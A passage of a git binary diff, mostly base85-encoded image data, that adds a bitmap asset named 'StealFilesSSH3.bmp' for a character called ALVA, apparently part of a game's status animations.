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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/ALVA/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 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 